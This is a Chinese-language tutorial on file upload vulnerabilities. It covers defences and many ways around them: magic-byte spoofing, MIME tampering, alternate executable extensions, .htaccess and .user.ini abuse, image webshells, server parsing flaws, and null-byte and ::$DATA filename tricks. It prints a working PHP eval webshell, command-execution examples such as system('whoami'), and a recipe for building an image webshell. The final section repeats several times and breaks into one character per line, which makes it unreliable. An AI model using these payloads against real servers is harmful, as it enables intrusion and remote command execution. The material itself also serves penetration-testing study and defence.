文件上传基础篇
文件上传漏洞原理
目标网站存在文件上传接口,但是对用户上传的文件没有做仔细甄别,导致黑客可以根据此功能点直接上传木马到网站服务器,造成危害
文件上传存在点
通常有头像上传,pdf上传
文件上传防护
前后端同时验证文件后缀,黑白名单,校验文件头,校验文件内容,校验mime,二次渲染
文件上传绕过防护
前端校验:直接警用js或者修改js代码,也可以使用burp抓包修改文件名
文件头校验:常见于图片上传点,服务器会检测文件类型的文件头
常见文件头
JPEG (jpg), 文件头:FFD8FF 文件尾:FF D9
PNG (png), 文件头:89504E47 文件尾:AE 42 60 82
GIF (gif), 文件头:47494638 文件尾:00 3B ZIP Archive (zip), 文件头:504B0304 文件尾:50 4B
TIFF (tif), 文件头:49492A00 文件尾:
Windows Bitmap (bmp), 文件头:424D 文件尾:
CAD (dwg), 文件头:41433130 文件尾:
Adobe Photoshop (psd), 文件头:38425053 文件尾:
Rich Text Format (rtf), 文件头:7B5C727466 文件尾:
XML (xml), 文件头:3C3F786D6C 文件尾:
HTML (html), 文件头:68746D6C3E
Email [thorough only] (eml), 文件头:44656C69766572792D646174653A
Outlook Express (dbx), 文件头:CFAD12FEC5FD746F
Outlook (pst), 文件头:2142444E
MS Word/Excel (xls.or.doc), 文件头:D0CF11E0
MS Access (mdb), 文件头:5374616E64617264204A
WordPerfect (wpd), 文件头:FF575043
Adobe Acrobat (pdf), 文件头:255044462D312E
Quicken (qdf), 文件头:AC9EBD8F
Windows Password (pwl), 文件头:E3828596
RAR Archive (rar), 文件头:52617221
Wave (wav), 文件头:57415645
AVI (avi), 文件头:41564920
Real Audio (ram), 文件头:2E7261FD
Real Media (rm), 文件头:2E524D46
MPEG (mpg), 文件头:000001BA
MPEG (mpg), 文件头:000001B3
Quicktime (mov), 文件头:6D6F6F76
Windows Media (asf), 文件头:3026B2758E66CF11
MIDI (mid), 文件头:4D546864
MIME校验:即http数据包中的Content-Type字段,直接用burp抓包修改此字段
二次渲染:上传的文件被服务器端修改了,常见于头像上传
(1)上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入一句话木马,再上传即可。
(2)上传jpg图片:这两种格式图片的二次渲染绕过要难很多很多:(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大)
条件竞争:当文件上传后会短暂存在然后被删除时,利用短时间大量高并发不停写入文件,文件作用为生成木马文件,当服务器未来得及删除文件时,成功创建木马文件
黑名单:限制一些文件后缀例如(exe,php,jsp,asp等)
上传特殊可解析后缀
asp|asa|cer|cdx
aspx|ascx|ashx|asax|asac
php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)
jsp|jspx|jspf
htm|html|shtml|pwml|js
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
上传.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。
.htaccess 文件生效前提条件为:
mod_rewrite 模块开启
AllowOverride All
上传.user.ini文件
原理:
1、.user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。
2、.user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
利用:
上传.user.ini
auto_prepend_file=1.gif # 要访问的文件加载之前加载,
或者
auto_append_file=1.gif # 要访问的文件加载之后加载
上传一个包含webshell代码的1.gif
GIF98A <?php eval($_REQUEST['a']);?>
访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行
?a=phpinfo(); ?a=system('whoami');
白名单:只允许规定文件后缀上传,常见头像上传(限制只能为gif,png,jpg后缀上传)
图片马结合文件包含漏洞,将恶意代码放在图片马中
生成图片马:
制作方法: copy 1.jpg/b + 1.php/a 2.jpg b表示二进制文件 a表示ASCII文件
也可以使用edjpgcom.exe工具
然后结合文件包含漏洞利用
配合解析漏洞
IIS:
目录解析漏洞(/test.asp/1.jps)
文件名解析漏洞(test.asp;.jpg)
畸形解析漏洞(test.jpg/*.php)
Nginx:
畸形解析漏洞(test.jpg/*.php)
%00空字节代码解析漏洞
CVE-2013-4547(%20%00)
Apache:
文件名解析漏洞(test.php.owf.xdx)
利用NTFS ADS特性
其他
点绕过、空格绕过、后缀双写绕过、后缀大小写绕过、%00绕过、0x00绕过
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
shell.php.
shell.php. .
00截断、MIME、点、空格、点空格点、::$DATA
shell.php::$DATA
shell.php
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
.
shell.php. .
00截断、MIME、点、空格、点空格点、::
D
A
T
A
s
h
e
l
l
.
p
h
p
:
:
DATA shell.php::
DATAshell.php::DATA
shell.php
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg